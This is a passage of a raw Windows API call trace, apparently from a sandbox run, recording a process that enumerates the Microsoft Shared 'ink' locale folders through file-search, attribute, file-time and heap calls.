lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0047.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0047.850] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeea0e8 [0047.850] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeea0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeea0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.850] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea0e8) returned 1 [0047.851] NtClose (Handle=0x17c) returned 0x0 [0047.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.851] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.851] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.851] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9a80 [0047.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea100 [0047.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.851] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.851] GetLastError () returned 0x12 [0047.851] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.851] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.851] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.852] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.852] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.852] GetLastError () returned 0x12 [0047.852] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.852] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.852] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.852] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.852] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0047.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.852] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0047.854] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeec0e8 [0047.854] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeec0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.854] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec0e8) returned 1 [0047.854] NtClose (Handle=0x170) returned 0x0 [0047.854] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.854] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.854] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.854] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.854] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.854] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.855] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9aa0 [0047.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea208 [0047.855] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.855] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.855] GetLastError () returned 0x12 [0047.855] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.855] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.855] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.855] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.855] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.855] GetLastError () returned 0x12 [0047.855] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.855] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.855] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.855] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.855] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0047.855] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0047.867] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.868] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeec0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.868] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec0e8) returned 1 [0047.942] NtClose (Handle=0x17c) returned 0x0 [0047.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.951] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.952] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.953] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.954] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.957] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9ac0 [0047.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea310 [0047.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.959] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.960] GetLastError () returned 0x12 [0047.960] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.962] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.963] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.964] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.966] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.967] GetLastError () returned 0x12 [0047.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.969] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.972] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0047.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.973] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0047.979] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeec0e8 [0047.981] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeec0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.982] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec0e8) returned 1 [0047.982] NtClose (Handle=0x170) returned 0x0 [0047.984] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.985] 